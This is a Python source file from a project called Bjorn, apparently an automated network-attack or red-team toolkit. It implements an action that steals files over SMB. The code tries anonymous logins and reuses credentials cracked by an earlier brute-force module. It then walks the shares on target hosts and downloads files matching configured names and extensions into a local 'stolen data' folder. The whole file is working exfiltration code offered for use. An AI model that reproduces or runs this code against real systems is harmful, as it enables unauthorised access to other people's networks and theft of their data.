Files
Bjorn/resources/default_config/actions/steal_files_smb.py
infinition b0584a1a8e feat: Add login page with dynamic RGB effects and password toggle functionality
feat: Implement package management utilities with JSON endpoints for listing and uninstalling packages

feat: Create plugin management utilities with endpoints for listing, configuring, and installing plugins

feat: Develop schedule and trigger management utilities with CRUD operations for schedules and triggers
2026-03-19 00:40:04 +01:00

245 lines
10 KiB
Python

"""steal_files_smb.py - SMB share exfiltration using DB creds from SMBBruteforce."""
import os
import logging
import time
from threading import Timer
from typing import List, Tuple, Dict, Optional
from smb.SMBConnection import SMBConnection
from shared import SharedData
from logger import Logger
logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
b_class = "StealFilesSMB"
b_module = "steal_files_smb"
b_status = "steal_files_smb"
b_parent = "SMBBruteforce"
b_port = 445
class StealFilesSMB:
def __init__(self, shared_data: SharedData):
self.shared_data = shared_data
self.smb_connected = False
self.stop_execution = False
self.IGNORED_SHARES = set(self.shared_data.ignored_smb_shares or [])
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
self._refresh_ip_identity_cache()
logger.info("StealFilesSMB initialized")
# -------- Identity cache --------
def _refresh_ip_identity_cache(self) -> None:
self._ip_to_identity.clear()
try:
rows = self.shared_data.db.get_all_hosts()
except Exception as e:
logger.error(f"DB get_all_hosts failed: {e}")
rows = []
for r in rows:
mac = r.get("mac_address") or ""
if not mac:
continue
hostnames_txt = r.get("hostnames") or ""
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
ips_txt = r.get("ips") or ""
if not ips_txt:
continue
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
self._ip_to_identity[ip] = (mac, current_hn)
def mac_for_ip(self, ip: str) -> Optional[str]:
if ip not in self._ip_to_identity:
self._refresh_ip_identity_cache()
return self._ip_to_identity.get(ip, (None, None))[0]
def hostname_for_ip(self, ip: str) -> Optional[str]:
if ip not in self._ip_to_identity:
self._refresh_ip_identity_cache()
return self._ip_to_identity.get(ip, (None, None))[1]
# -------- Creds (grouped by share) --------
def _get_creds_by_share(self, ip: str, port: int) -> Dict[str, List[Tuple[str, str]]]:
"""
Returns {share: [(user,pass), ...]} from DB.creds (service='smb', database=share).
Prefer IP; also include MAC if known. Dedup per share.
"""
mac = self.mac_for_ip(ip)
params = {"ip": ip, "port": port, "mac": mac or ""}
by_ip = self.shared_data.db.query(
"""
SELECT "user","password","database"
FROM creds
WHERE service='smb'
AND COALESCE(ip,'')=:ip
AND (port IS NULL OR port=:port)
""", params)
by_mac = []
if mac:
by_mac = self.shared_data.db.query(
"""
SELECT "user","password","database"
FROM creds
WHERE service='smb'
AND COALESCE(mac_address,'')=:mac
AND (port IS NULL OR port=:port)
""", params)
out: Dict[str, List[Tuple[str, str]]] = {}
seen: Dict[str, set] = {}
for row in (by_ip + by_mac):
share = str(row.get("database") or "").strip()
user = str(row.get("user") or "").strip()
pwd = str(row.get("password") or "").strip()
if not user or not share:
continue
if share not in out:
out[share], seen[share] = [], set()
if (user, pwd) in seen[share]:
continue
seen[share].add((user, pwd))
out[share].append((user, pwd))
return out
# -------- SMB helpers --------
def connect_smb(self, ip: str, username: str, password: str) -> Optional[SMBConnection]:
try:
conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
conn.connect(ip, b_port)
self.smb_connected = True
logger.info(f"Connected SMB {ip} as {username}")
return conn
except Exception as e:
logger.error(f"SMB connect error {ip} {username}: {e}")
return None
def list_shares(self, conn: SMBConnection):
try:
shares = conn.listShares()
return [s for s in shares if (s.name not in self.IGNORED_SHARES and not s.isSpecial and not s.isTemporary)]
except Exception as e:
logger.error(f"list_shares error: {e}")
return []
def find_files(self, conn: SMBConnection, share: str, dir_path: str) -> List[str]:
files: List[str] = []
try:
for entry in conn.listPath(share, dir_path):
if self.shared_data.orchestrator_should_exit or self.stop_execution:
logger.info("File search interrupted.")
return []
if entry.isDirectory:
if entry.filename not in ('.', '..'):
files.extend(self.find_files(conn, share, os.path.join(dir_path, entry.filename)))
else:
name = entry.filename
if any(name.endswith(ext) for ext in (self.shared_data.steal_file_extensions or [])) or \
any(sn in name for sn in (self.shared_data.steal_file_names or [])):
files.append(os.path.join(dir_path, name))
return files
except Exception as e:
logger.error(f"SMB path error {share}:{dir_path}: {e}")
raise
def steal_file(self, conn: SMBConnection, share: str, remote_file: str, base_dir: str) -> None:
try:
local_file_path = os.path.join(base_dir, os.path.relpath(remote_file, '/'))
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
with open(local_file_path, 'wb') as f:
conn.retrieveFile(share, remote_file, f)
logger.success(f"Downloaded {share}:{remote_file} -> {local_file_path}")
except Exception as e:
logger.error(f"SMB download error {share}:{remote_file}: {e}")
# -------- Orchestrator entry --------
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
try:
self.shared_data.bjorn_orch_status = b_class
try:
port_i = int(port)
except Exception:
port_i = b_port
creds_by_share = self._get_creds_by_share(ip, port_i)
logger.info(f"Found SMB creds for {len(creds_by_share)} share(s) in DB for {ip}")
def _timeout():
if not self.smb_connected:
logger.error(f"No SMB connection within 4 minutes for {ip}. Failing.")
self.stop_execution = True
timer = Timer(240, _timeout)
timer.start()
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
success = False
# Anonymous first (''/'')
try:
conn = self.connect_smb(ip, '', '')
if conn:
shares = self.list_shares(conn)
for s in shares:
files = self.find_files(conn, s.name, '/')
if files:
base = os.path.join(self.shared_data.data_stolen_dir, f"smb/{mac}_{ip}/{s.name}")
for remote in files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
self.steal_file(conn, s.name, remote, base)
logger.success(f"Stole {len(files)} files from {ip} via anonymous on {s.name}")
success = True
try:
conn.close()
except Exception:
pass
except Exception as e:
logger.info(f"Anonymous SMB failed on {ip}: {e}")
if success:
timer.cancel()
return 'success'
# Per-share credentials
for share, creds in creds_by_share.items():
if share in self.IGNORED_SHARES:
continue
for username, password in creds:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
try:
conn = self.connect_smb(ip, username, password)
if not conn:
continue
files = self.find_files(conn, share, '/')
if files:
base = os.path.join(self.shared_data.data_stolen_dir, f"smb/{mac}_{ip}/{share}")
for remote in files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Execution interrupted.")
break
self.steal_file(conn, share, remote, base)
logger.info(f"Stole {len(files)} files from {ip} share={share} as {username}")
success = True
try:
conn.close()
except Exception:
pass
if success:
timer.cancel()
return 'success'
except Exception as e:
logger.error(f"SMB loot error {ip} {share} {username}: {e}")
timer.cancel()
return 'success' if success else 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'